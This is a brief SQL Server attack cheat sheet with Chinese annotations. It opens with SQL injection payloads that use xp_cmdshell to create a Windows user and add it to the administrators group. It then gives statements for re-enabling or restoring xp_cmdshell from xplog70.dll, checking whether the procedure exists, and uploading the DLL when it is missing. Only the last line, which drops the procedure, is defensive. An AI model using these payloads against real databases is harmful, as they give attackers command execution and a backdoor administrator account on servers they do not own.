;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK

恢复xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK

否则上传xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'

堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell"